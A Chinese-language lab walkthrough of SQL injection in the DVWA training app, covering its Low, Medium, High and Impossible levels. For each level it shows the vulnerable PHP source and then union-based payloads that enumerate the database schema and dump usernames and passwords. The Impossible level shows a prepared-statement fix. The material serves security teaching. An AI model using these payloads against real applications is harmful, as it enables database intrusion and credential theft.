SQL Injection(SQL注入)
SQL Injection(SQL注入),是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的,常常會導致整個數據庫被“脫褲”,盡管如此,SQL注入仍是現在最常見的Web漏洞之一。
SQL注入流程
拿到一個查詢條件的web網頁,就需要對輸入框做以下的事情
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解SQL查詢語句中的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.下載數據
SQL Injection主題:
Low
源碼解析
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input //獲取ID字段 $id = $_REQUEST[ 'id' ]; // Check database //拼接SQL語句並查詢 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
漏洞復現
(1)首先找到注入點,判斷注入的類型
1
1\
1' #
(2)使用二分法判斷字段(order by 5,3,2),最終判斷存在2個字段
1' order by 5 #
1' order by 3 #
1' order by 2 #
(3)顯示報錯位
1' union select 1,2 #
(4)查找庫名
1' union select 1,database() #
(5)查找當前數據庫中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
(6)查找表users中的字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
(7)查找數據
1' union select group_concat(user),group_concat(password) from users #
Medium
源碼解析
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; //user中x00,n,r,,’,”,x1a轉義,防SQL注入 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"];
// Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
漏洞復現
GET提交方式改成了POST提交方式,還使用了轉義預防SQL注入。
(1)判斷注入點,判斷注入類型
1 1 \ 1 #
(2)使用二分法判斷字段(order by 5,3,2),最終判斷存在2個字段
1 order by 5 # 1 order by 3 # 1 order by 2 #
(3)顯示報錯位
1 union select 1,2 #
(4)查找庫名
1 union select 1,database() #
(5)查找當前數據庫中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
(6)查找表users中的字段
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
(7)查找數據
1 union select group_concat(user),group_concat(password) from users #
High
源碼解析
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database //【select * from tableName limit i,n 】 tableName : 為數據表; i : 為查詢結果的索引值(默認從0開始); n : 為查詢結果返回的數量 查詢第一條數據 select * from student limit 1 查詢第二條數據 select * from student limit 1,1 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
漏洞復現
high 級別使用了session 獲取id 值,閉合方式單引號閉合。
(1)代碼與LOW級別的都一樣
1' union select group_concat(user),group_concat(password) from users #
Impossible
源碼解析
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
漏洞復現
CSRF、檢測 id 是否是數字。 prepare 預編譯語句的優勢在於歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止 SQL 注入。